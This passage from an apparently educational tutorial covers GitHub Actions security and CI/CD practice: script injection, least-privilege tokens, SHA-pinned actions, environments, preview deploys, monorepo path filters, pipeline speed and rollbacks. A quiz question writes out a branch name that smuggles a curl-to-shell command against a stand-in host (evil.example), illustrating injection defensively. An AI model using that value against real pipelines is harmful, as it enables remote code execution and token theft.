In the unsafe step, the title's " closed the string, ; ended the echo, and the rest ran as a second command. Here it only printed the user name, but it could just as well have sent the job's token to a server. That's Script injection.

In the safe step, GitHub put the title into an environment variable, and the script refers to $TITLE. The shell treats a variable's contents as plain text, never as code, so the whole title was printed as-is.

This site's deploy.yml pastes secrets the unsafe way, e.g. --token=${{ secrets.VERCEL_TOKEN }}. A token isn't attacker-controlled, so this isn't an injection hole, but the secret's text still becomes part of a script file written to the runner's disk, and a token containing " or $ would break the script. The env pattern avoids both, and it also lets you hand the secret to only the step that needs it:

✕ Secret pasted into the script
- run: vercel build --prod --token=${{ secrets.VERCEL_TOKEN }}
✓ Secret passed through env, one step only
- env:
    VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
  run: vercel build --prod --token="$VERCEL_TOKEN"

Least-privilege tokens

Every run gets a GITHUB_TOKEN, a credential for the GitHub API that expires when the job ends. What it may do depends on a repository setting, and on older repos the default often includes write access to the code. Following Least privilege, say what you need at the top of the workflow and widen it only on the job that needs more:

permissions:
  contents: read          # whole workflow: read the code, nothing else

jobs:
  build:
    permissions:
      contents: read
      packages: write     # this job alone may push images

Once you write a permissions: block, anything you don't list is none. A job's own permissions: replaces the top-level block rather than adding to it, which is why build lists contents: read again: drop that line and the job can't even check out the code. If a step later fails with a 403 from the GitHub API, add the one permission it needs rather than going back to "everything".

Third-party actions run with your secrets

uses: some-org/some-action@v3 downloads someone else's code and runs it inside your job, with access to the job's files, environment and token. A tag like v3 is a movable pointer (§02). In March 2025 the popular tj-actions/changed-files action was compromised, its tags were moved to malicious code, and thousands of workflows printed their secrets into build logs.

Pinning to a full commit SHA removes that risk, because a SHA always names the same code. You can look one up yourself:

measured on this machine
$ git ls-remote --tags https://github.com/actions/checkout | grep 'v7'
3d3c42e5aac5ba805825da76410c181273ba90b1	refs/tags/v7
9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0	refs/tags/v7.0.0
3d3c42e5aac5ba805825da76410c181273ba90b1	refs/tags/v7.0.1

(These tags are plain pointers to commits. Some projects use annotated tags, and then ls-remote prints a second line ending in ^{}; that line's SHA is the commit, so use that one.) v7 and v7.0.1 point at the same commit today; when v7.0.2 ships, v7 will move and v7.0.1's SHA won't.

- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1

The comment keeps it readable, and tools like Dependabot or Renovate read that comment and open a PR when a new version comes out, so pinning doesn't mean never updating. Many teams pin everything outside the actions/ and github/ organisations and accept tags for GitHub's own actions; pinning everything is stricter.

Practitioner§08

Environments, approvals and preview deploys

In one sentenceThe "CD" in CI/CD is one decision: after every gate passes, does a person press the button (continuous delivery) or does the pipeline ship by itself (continuous deployment)? GitHub environments are where you write that decision down.
  • Continuous delivery: every commit that passes is ready to release, but a person approves the actual production deploy. Common when releases need coordination (an app store review, a customer announcement, regulated industries).
  • Continuous deployment: every commit that passes goes to production automatically. This site works this way: merge to main, and a few minutes later it's live.

Neither is "more advanced". Continuous deployment needs very good gates and a fast way back (§12), because nobody looks before users do. Push a few commits through both modes:

Delivery vs deployment
Merge a few commits. Each takes one tick per stage. In delivery mode, a person has to approve before production.
CI gates
—
staging
—
waiting for approval
no gate
production
—
avg ticks from merge to production: — · last release contained — commit(s)
Every commit reaches production about 2 ticks after merging, usually one at a time (two merged in the same tick ship together). Releases stay tiny, so if something breaks, you know which commit did it.

GitHub environments

An environment is a named deploy target (preview, staging, production) that you create in the repository's settings. A job opts in with one line:

deploy:
  runs-on: ubuntu-latest
  environment: production

The environment can then enforce rules before that job starts:

RuleWhat it does
Required reviewersThe job pauses until one of the listed people clicks Approve. That's continuous delivery in one setting.
Wait timerThe job waits N minutes first, e.g. to give a canary time to show problems.
Deployment branchesOnly jobs running for main (or tags) may use this environment, so a feature branch can't deploy to production.
Environment secretsSecrets stored on the environment are only given to jobs that reference it, and only after the rules above pass.

That last row matters. A repository secret can be read by any job in any workflow, including one someone adds in a PR branch. An environment secret can only be read by jobs that name that environment, after its rules pass. So put deploy tokens on environments.

One catch: a job names at most one environment, and every job that uses the token must name one that holds it. In the proposed deploy.yml below, two jobs need the Vercel token: build (to pull settings and build) and deploy. So the token is stored on two environments: vercel-build, limited to the main branch with no reviewers, and production, where you can add reviewers. Approving a release then never holds up the build and smoke test, and a feature branch can't reach the token at all. The cost is two copies to update when you rotate the token.

(Required reviewers are available on public repositories on every plan. For private repositories, whether you get them depends on your GitHub plan, so check GitHub's current pricing page before relying on them.)

Preview deploys: a URL per pull request

A Preview deployment builds the PR and deploys it to its own temporary address, so a reviewer can click through the change instead of imagining it from a diff. For this site, it would be one more job in the ci.yml from §04:

added to .github/workflows/ci.yml
  preview:
    needs: smoke                # deploy a preview only after the gates passed
    # Fork PRs get no secrets, so only run for branches in this repo.
    if: github.event.pull_request.head.repo.full_name == github.repository
    runs-on: ubuntu-latest
    timeout-minutes: 10
    environment: preview
    env:
      VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
      VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - run: npm install --global vercel@65.8.0
      - env:
          VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
        run: |
          vercel pull --yes --environment=preview --token="$VERCEL_TOKEN"
          vercel build --token="$VERCEL_TOKEN"
          url=$(vercel deploy --prebuilt --token="$VERCEL_TOKEN")   # no --prod: a preview URL
          echo "### Preview: $url" >> "$GITHUB_STEP_SUMMARY"

needs: smoke makes the preview wait for all three gates from §04, and the preview environment holds its own copy of the Vercel token. github.event.pull_request.head.repo.full_name is the repository the PR's branch lives in; comparing it to github.repository skips PRs from forks, which have no secrets and would only fail. $GITHUB_STEP_SUMMARY is a file whose Markdown is shown on the run's summary page, so the link is one click away. Platforms like Vercel and Netlify can also do preview deploys on their own through their Git integration; this site turned that off so every deploy goes through the gates.

This site's deploy, rebuilt: build → smoke → deploy

§05 said: build once, test that, ship that. Today's deploy.yml builds once (vercel build, then vercel deploy --prebuilt uploads exactly those files) but never tests what it built. Here is a version that does, split into three jobs that hand one artifact down the line:

.github/workflows/deploy.yml (proposed)
name: Deploy to Vercel

on:
  push:
    branches: [main]
  workflow_dispatch:

permissions:
  contents: read

concurrency:
  group: vercel-production
  cancel-in-progress: false   # let a running deploy finish; the newest push waits its turn

env:
  VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
  VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}

jobs:
  build:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    environment: vercel-build   # holds a copy of VERCEL_TOKEN; main branch only, no reviewers
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - run: npm run check
      - run: npm install --global vercel@65.8.0        # pinned: the same CLI on every run
      - name: Build once
        env:
          VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}     # only this step sees the token
        run: |
          vercel pull --yes --environment=production --token="$VERCEL_TOKEN"
          vercel build --prod --token="$VERCEL_TOKEN"  # writes .vercel/output
      - uses: actions/upload-artifact@v7
        with:
          name: vercel-output
          path: .vercel/output
          retention-days: 7

  smoke:
    needs: build
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - uses: actions/download-artifact@v8
        with:
          name: vercel-output
          path: .vercel/output
      - run: |
          npx vite preview --outDir .vercel/output/static --port 4173 --strictPort &
          timeout 30 bash -c 'until curl -sf http://127.0.0.1:4173/ > /dev/null; do sleep 1; done'
          npm run smoke -- / http://127.0.0.1:4173

  deploy:
    needs: smoke
    runs-on: ubuntu-latest
    timeout-minutes: 10
    environment:
      name: production
      url: ${{ steps.deploy.outputs.url }}
    steps:
      - uses: actions/download-artifact@v8
        with:
          name: vercel-output
          path: .vercel/output
      - run: npm install --global vercel@65.8.0
      - id: deploy
        env:
          VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
        run: |
          url=$(vercel deploy --prebuilt --prod --token="$VERCEL_TOKEN")   # ships the tested files
          echo "url=$url" >> "$GITHUB_OUTPUT"
          echo "### Deployed: $url" >> "$GITHUB_STEP_SUMMARY"

What changed, and why:

  • Three jobs, one artifact. vercel build writes the finished site to .vercel/output (static files under static/). The smoke job serves that folder and runs the browser smoke test against it; the deploy job uploads that folder. Nothing is rebuilt after it was tested.
  • environment: production with a url: shows the deployed link on the run page and in the repo's Deployments list. Add a required reviewer to that environment and this becomes continuous delivery, with no YAML change.
  • The Vercel token lives on two environments (vercel-build and production) and reaches only two steps through env:. The CLI version is pinned, the actions are current majors, and GITHUB_TOKEN is read-only (§07). The org and project IDs stay repository secrets: they say where to deploy but grant no access on their own.
  • cancel-in-progress: false: discussed in §12.

It drops the original's "skip if secrets are missing" step to stay short; a fork would see the build job fail at vercel pull instead of a friendly warning. (This file passes actionlint. It was not run against Vercel, since the test machine has no Vercel credentials; the flags were checked against vercel --help for CLI 65.8.0.)

Practitioner§09

Trunk-based development

In one sentenceCI only works if you actually integrate continuously. Trunk-based development means everyone merges small changes into main (the "trunk") at least once a day, so the pipeline tests the real combined code all the time instead of once, painfully, at the end.

Long-lived branches hide problems

Imagine two developers each working on a big feature for three weeks on their own branches. Their pipelines are green the whole time, because each pipeline tests one branch alone. Then both merge in the same week, and nothing fits: the same files were changed in different ways (a Merge conflict), a function one of them renamed is still called by the other, and the "merge" turns into days of untangling. CI ran every day and still didn't catch any of it, because the code it was testing never existed in production.

Long-lived branches vs trunk-based
Long-lived feature branchesmainfeature-a · 3 weeksfeature-b · 3 weeks💥conflictsTrunk-based: short branches, merged dailymaingreen dot = merge, pipeline ran on the combined code
Top: two branches drift away from main for three weeks and collide at the end. Bottom: many small branches, each merged within a day, so main always contains everyone's latest work.

In the trunk-based picture each merge is small: a few hours of work, a diff a reviewer can read in ten minutes, a conflict (if there is one) about ten lines. And because main is always close to what every developer has, the pipeline is testing the code that will actually ship.

"But my feature takes three weeks"

Then merge it in pieces that are switched off. A Feature flag is a runtime on/off check around the new code:

if flags.Enabled("new-checkout", user) { // ← off in production until you flip it
	return newCheckout(w, r)
}
return oldCheckout(w, r)

The unfinished code is merged, built and tested by the pipeline every day, but users don't see it until the flag is turned on. That separates deploying code (it's on the servers) from releasing a feature (users get it). Flags have their own costs, such as old flags piling up; Deployment Strategies covers them. Other ways to merge unfinished work: build the new part behind an unused route, or add the new code path next to the old one and switch over in a final small PR.

Keeping main green

If everyone merges into main all day, a broken main blocks everyone. Three habits:

  1. Gates on every PR, required to merge (§04). Most breakage never reaches main.
  2. If main breaks, revert first, debug second. git revert <sha> undoes the bad commit with a new commit, main goes green in minutes, and the author fixes the problem on a branch without the whole team waiting.
  3. A Merge queue for busy repos. Two PRs can each pass on their own and still break main together: PR A renames a function, PR B (tested before A merged) adds a new call to the old name. A merge queue tests each PR on top of main plus the PRs queued ahead of it, and only merges if that combination passes.

Turning the queue on is a branch-protection setting; the workflow just needs to run for queue checks too:

on:
  pull_request:
  merge_group:            # ← run the gates on the queue's temporary "main + PRs ahead" branch
Practitioner§10

Monorepos: path filters and matrices

In one sentenceIn a Monorepo, a one-line change to the billing service shouldn't run the web app's 10-minute E2E suite. Run only the jobs a change affects, and keep one check that always reports, so skipping work never blocks a merge.

Path filters

The simplest tool is a Path filter on the trigger:

.github/workflows/billing.yml
on:
  pull_request:
    paths:
      - "services/billing/**"
      - "libs/money/**"                    # billing imports this shared library
      - ".github/workflows/billing.yml"    # changing the pipeline should test it too

Remember to list what the code depends on, not just its own folder. If libs/money/ is missing above, a bug in the shared library merges without billing's tests ever running.

The trap: a skipped workflow never reports

Say you make the billing job a required check (§04). Now someone opens a docs-only PR. The path filter means the billing workflow never starts, so it never reports pass or fail, and GitHub shows the required check as "Expected — Waiting for status to be reported" forever. The PR can't be merged.

The fix is to filter inside the workflow instead: always start it, decide which jobs to run, and make one final job the required check.

.github/workflows/ci.yml
name: CI
on:
  pull_request:

jobs:
  changes:
    runs-on: ubuntu-latest
    outputs:
      billing: ${{ steps.diff.outputs.billing }}
      web: ${{ steps.diff.outputs.web }}
    steps:
      - uses: actions/checkout@v7
        with:
          fetch-depth: 0                  # full history, so we can diff against main
      - id: diff
        env:
          BASE: origin/${{ github.base_ref }}
        run: |
          files=$(git diff --name-only "$BASE...HEAD")
          echo "$files"
          if grep -q '^services/billing/' <<< "$files"; then echo "billing=true"; else echo "billing=false"; fi >> "$GITHUB_OUTPUT"
          if grep -q '^web/' <<< "$files"; then echo "web=true"; else echo "web=false"; fi >> "$GITHUB_OUTPUT"

  billing:
    needs: changes
    if: needs.changes.outputs.billing == 'true'
    runs-on: ubuntu-latest
    steps:
      - run: echo "testing billing"

  web:
    needs: changes
    if: needs.changes.outputs.web == 'true'
    runs-on: ubuntu-latest
    steps:
      - run: echo "testing web"

  ci-ok:                                  # ← the ONE required check
    if: always()                          # run even when jobs above were skipped or failed
    needs: [changes, billing, web]
    runs-on: ubuntu-latest
    steps:
      - if: contains(needs.*.result, 'failure') || contains(needs.*.result, 'cancelled')
        run: exit 1
      - run: echo "every job passed or was skipped on purpose"

Run with act on a small test repository, a docs-only PR and then a PR touching billing:

act pull_request (measured on this machine)
# PR 1: changes docs/README.md
[CI/changes]   | docs/README.md
[CI/changes]   ⚙  ::set-output:: billing=false
[CI/changes]   ⚙  ::set-output:: web=false
[CI/ci-ok  ]   | every job passed or was skipped on purpose
[CI/ci-ok  ] 🏁  Job succeeded

# PR 2: also changes services/billing/a.txt
[CI/changes]   | docs/README.md
[CI/changes]   | services/billing/a.txt
[CI/changes]   ⚙  ::set-output:: billing=true
[CI/billing]   | testing billing
[CI/ci-ok  ]   | every job passed or was skipped on purpose
[CI/ci-ok  ] 🏁  Job succeeded

The docs PR ran two tiny jobs and got a green ci-ok; the billing PR also ran billing's tests.

Found while testing

The gate must also need the detector

The first version of this file had needs: [billing, web] on ci-ok, without changes. Then the changes job crashed during a test run (the container had no git). What happened: billing and web were skipped because a job they needed failed, ci-ok saw only "skipped" results, and reported success. A broken pipeline, green check.

A skipped job looks the same whether it was skipped on purpose or because something upstream broke. So the final gate has to need every job, including the one that decides what to skip. With changes added, the same crash made ci-ok fail, as it should.

Off-the-shelf actions such as dorny/paths-filter do the change detection for you with a nicer syntax; the structure (detect → conditional jobs → one always-running gate) stays the same. Large monorepos often go further with build tools that know the dependency graph (Bazel, Nx, Turborepo, Go's own package graph) and test only the packages affected by a change.

Matrix builds: one job, many variations

A Matrix runs copies of a job with different values. Testing a Go library on two Go versions and two operating systems:

jobs:
  test:
    strategy:
      fail-fast: false              # let the other copies finish if one fails
      matrix:
        go: ["1.26", "1.27"]
        os: [ubuntu-latest, macos-latest]
    runs-on: ${{ matrix.os }}
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with:
          go-version: ${{ matrix.go }}
      - run: go test ./...

That's 2 × 2 = 4 jobs, all started in parallel, each with its own result. ${{ matrix.go }} is that copy's value. In a monorepo you can also make the matrix list the services (service: [billing, search]) and use working-directory: services/${{ matrix.service }} on the steps. Watch the multiplication: 3 versions × 3 OSes × 4 services is 36 jobs per push, and macOS runners cost several times more per minute than Linux.

Staff-level§11

Making pipelines fast

In one sentenceA pipeline can never finish faster than its critical path, the longest chain of jobs that must wait for each other. Speeding it up means shortening that chain; work that isn't on it is free (in wall time, not in money).

Why speed is a correctness issue

A slow pipeline changes how people work. At 5 minutes, a developer waits for the result and fixes a failure while the change is fresh. At 40 minutes they start something else, batch several changes into one PR to "save a run", and stop believing a red build is about their change. Bigger batches, slower feedback, more breakage: the opposite of what CI is for. A common rule of thumb is to keep pull-request feedback under about 10 minutes.

Where the time goes

Every job pays a fixed entry fee before it does anything useful: wait for a free runner, boot it, check out the code, install tools and dependencies. In the act runs of ci.yml (§04, measured on this machine with a warm cache), each of the three jobs spent about 3 seconds on checkout, setup-node and npm ci before its real work: 0.3 s for npm run check, about 10 s for npm run build. On GitHub's real runners, booting and queueing add more, typically tens of seconds per job (a rough figure that varies with load and plan).

So splitting work into more jobs is a trade: more parallelism and clearer failures, but one more entry fee per job. Splitting a 0.3-second check into its own job is only worth it because it fails fast and gives a clear red mark.

Play with the levers. Numbers are illustrative, chosen to look like a medium-sized web app, not measured:

Pipeline speed
A pull-request pipeline for a medium web app. Minutes are illustrative. Toggle the levers and watch wall time vs total runner minutes.
one job
setup
lint
typecheck
unit tests
build
e2e tests
0510152025 min
wall time
24.0 min
runner minutes
24.0 min
critical path
one job: setup → lint → typecheck → unit tests → build → e2e tests
Grey = per-job setup (boot, checkout, install). Orange rows are on the critical path: the chain that decides when the pipeline finishes.

The levers

  • Run independent jobs in parallel. Lint doesn't need the build; unit tests don't need lint. Only real dependencies belong in needs:. This often gives the biggest single gain.
  • Cache dependencies (§06). It shrinks the entry fee of every job.
  • Shard slow test suites across several machines: four machines each running a quarter of the E2E tests. It cuts wall time, not compute minutes. E2E Testing: Running in CI shows Playwright's --shard.
  • Skip what didn't change (§10). The fastest job is the one that doesn't run.
  • Cancel stale runs. concurrency with cancel-in-progress turned on for pull requests (as in ci.yml) stops the run for commit 1 when commit 2 is pushed to the same PR. Nobody cares about commit 1's result any more. Keep it off for main, where every commit should get a verdict.
  • Set timeout-minutes. A hung test otherwise holds a runner for the 6-hour default.
  • Fix flaky tests instead of retrying them. A retry doubles that job's time, and a flaky gate teaches people to click "re-run" without reading. See Flaky Tests.
Staff-level§12

Staff level: the pipeline is production

In one sentenceThe pipeline can change production, so it is production: review changes to it like code, give it the fewest credentials that work, and make sure it can take you back as fast as it takes you forward.

Reviewing this site's deploy.yml

Here's what a staff engineer would write on a PR that added today's deploy.yml, roughly in order of impact. Most of the fixes appeared earlier in this topic.

#FindingWhy it mattersFix
1Runs only on push to mainA broken PR is discovered after merge, and blocks everyone's next deployci.yml on pull_request + required checks (§04)
2The build is never testedvercel build could produce a blank page and it would shipbuild → smoke → deploy with one artifact (§08)
3npm install --global vercel@latestThe deploy tool can change between two runs without any commitPin vercel@65.8.0, update on purpose (§05)
4Secrets pasted into scripts with ${{ }}Secret text ends up inside the script file; a habit that becomes injection with untrusted valuesPass via env: on the steps that need it (§07)
5No permissions: blockThe job's token gets whatever the repo default ispermissions: contents: read (§07)
6Actions on @v5 tagsBehind current majors (v7), and tags can be movedUpdate; consider SHA pins + Dependabot (§07)
7No timeout-minutesA hung step holds a runner for up to 6 hourstimeout-minutes: 15
8cancel-in-progress: true on a deploySee belowfalse for deploys, true for PR checks

None of these has caused an incident, and the file does the important things right (§03). That's normal: most pipelines are "works, with sharp edges", and the review is about the edges.

Cancelling a deploy halfway

cancel-in-progress: true kills the running job as soon as a newer run in the same Concurrency group starts. For PR checks that's perfect. For a deploy, it means a deploy can be stopped at any line.

For this site the risk is small: vercel deploy uploads files to a new deployment, and the domain only switches once that deployment is complete, so killing the job mid-upload leaves the old version serving. But many deploys are a sequence of steps: run a database migration, then roll out the app, then purge the CDN. Cancel between step one and step two and production has a new database schema with old code, and nobody is watching.

With cancel-in-progress: false, the group still allows only one deploy at a time, but a new run waits for the current one to finish. If several pushes land while it waits, only the newest waiting run is kept, so you don't deploy every intermediate commit either. That's why the proposed deploy.yml in §08 uses false.

Rollback = redeploying an old artifact

When a bad change reaches production, you have two ways back:

  • Roll forward: git revert the commit, push, and let the whole pipeline run. Safe and recorded, but as slow as your pipeline: 15 minutes of broken production if the pipeline takes 15 minutes.
  • Roll back: point production at the previous artifact, which was already built and tested. Seconds to a minute.

Build-once (§05) is what makes the second option possible: the previous artifact still exists, by name. For this site, Vercel keeps every deployment, and vercel rollback <deployment-url> points the domain back at an older one. For a container service, you redeploy the previous image digest. Do both in practice: roll back to stop the damage, then revert or fix through the normal pipeline. And rehearse the rollback before you need it. A rollback command nobody has run is a guess.

Measuring delivery: the DORA metrics

How do you know the pipeline is helping? The DORA metrics are the standard four:

MetricQuestionPipeline levers
Deployment frequencyHow often do we ship to production?Small PRs, trunk-based development (§09), continuous deployment
Lead time for changesHow long from merge to running for users?Pipeline speed (§11), no manual waits that don't add safety
Change failure rateWhat share of deploys cause a problem?Better gates (§04), build-once (§05), staged rollouts
Time to restore (MTTR)How fast do we recover?Fast rollback, good alerts (Observability)

The research behind them found that speed and stability go together: teams that deploy most often also tend to have the lowest failure rates, because small changes are easy to test, review and undo. A pipeline that makes deploys rare and scary pushes all four numbers the wrong way.

Who owns the pipeline

  • Workflow changes get the same review as code. A CODEOWNERS file can require a platform or security reviewer for anything under .github/workflows/.
  • Someone is on the hook for red main. Usually the author of the breaking commit, with a team rule that a red main beats everything else on the board.
  • Pipeline health is monitored. Track duration, flake rate and queue time like any other service; a pipeline that gets 30 seconds slower every month is a year away from being the team's biggest productivity problem.
Practitioner§13

Check yourself

Predict the answer before you click. Q1–Q2 are from §04, Q3 from §02, Q4 from §06, Q5 from §07, Q6 from §10, Q7 from §05 and §12.

QUESTION 1 / 7
A failing command in the middle

One of the tests fails. What happens to this step on a Linux runner?

- run: |
    go test ./...
    echo "tests done"
QUESTION 2 / 7
The pipe

Same failing test, no shell: set on the step. Result?

- run: go test ./... | tee test.log
QUESTION 3 / 7
Where did dist/ go?
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - run: npm ci && npm run build   # creates dist/
  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - run: ls dist
QUESTION 4 / 7
Hit or miss?

Your cache key is npm-${{ hashFiles('package-lock.json') }}. Yesterday's run saved an entry. Today you change only src/App.jsx and push. What does the cache step do?

QUESTION 5 / 7
A creative branch name

Someone opens a PR from a branch named feat$(curl${IFS}-s${IFS}evil.example|sh). (Git accepts that name.) What happens?

- run: echo "Building ${{ github.head_ref }}"
QUESTION 6 / 7
A docs-only PR

The billing workflow has on: pull_request: paths: ["services/billing/**"], and its job is a required check on main. A PR changes only README.md. What happens?

QUESTION 7 / 7
Rebuilding for production

Staging was built from commit 3f9c2e1 at 10:00 and passed every test. At 15:00 the production job checks out the same commit and runs npm install && npm run build (no lockfile is committed). Is production guaranteed to get what was tested?

Answered 0 / 7
Foundations§14

Cheat sheet

🏭
An assembly lineA pipeline runs every change through the same gates in the same order. A failing gate stops the line; production keeps the last good version.
🚦
Exit code = verdictA gate is any command. 0 passes, anything else fails. Use shell: bash (pipefail) when you pipe output.
🔀
Gate the pull requestRun the gates on pull_request and make them required checks, so broken code never reaches main.
📦
Build onceOne artifact per commit, named by its SHA. Test it, then promote that same artifact. Config comes from the environment.
⚡
Cache by lockfile hashhashFiles('package-lock.json') in the key. A job must still be correct with an empty cache. Results go in artifacts, not caches.
🔑
env:, not ${{ }} in scriptsPass secrets and untrusted text through env:. permissions: contents: read by default. Pin third-party actions by SHA.
✅
EnvironmentsDeploy jobs use environment:. Required reviewers = continuous delivery; none = continuous deployment. Put prod secrets on the environment.
🌳
Trunk-basedSmall PRs merged daily, unfinished work behind flags, revert first when main is red, merge queue when busy.
⏱️
Shorten the critical pathParallel jobs, caching, sharding, path filters, cancel stale PR runs, timeouts. Aim for PR feedback in about 10 minutes.
↩️
A way backRollback = redeploy the previous artifact. Don't cancel deploys halfway. Rehearse it.
I want to…Use
Run on PRs and on mainon: with pull_request: and push: → branches: [main] (see the skeleton below)
Make job B wait for job Aneeds: a on job B
Pass files between jobsactions/upload-artifact@v7 → actions/download-artifact@v8
Return a value from a stepecho "name=value" >> "$GITHUB_OUTPUT" → steps.<id>.outputs.name
Run a step only sometimesif: steps.x.outputs.ok == 'true' / if: github.ref == 'refs/heads/main'
Use a secret safelyon the step: env: → TOKEN: ${{ secrets.TOKEN }}, then "$TOKEN" in the script
Require approval for prodenvironment: production + required reviewers in repo settings
Cancel superseded PR runsconcurrency: → group: ci-${{ github.ref }} and cancel-in-progress: ${{ github.event_name == 'pull_request' }} (skeleton below)
Skip unaffected code in a monorepodetect changes → if: on jobs → one if: always() gate that needs all of them
Try a workflow locallyact -W .github/workflows/ci.yml and actionlint
A skeleton to start from
name: CI
on:
  pull_request:
  push:
    branches: [main]
permissions:
  contents: read
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - run: npm test
      - run: npm run build
A secret, the safe way
      - name: Deploy
        env:
          TOKEN: ${{ secrets.TOKEN }}          # only this step sees it
        run: ./deploy.sh --token="$TOKEN"
Finished reading?Mark it complete to track your progress on a roadmap. Saved in this browser only.
Up next in DevOps & CloudInfrastructure as Code
Read →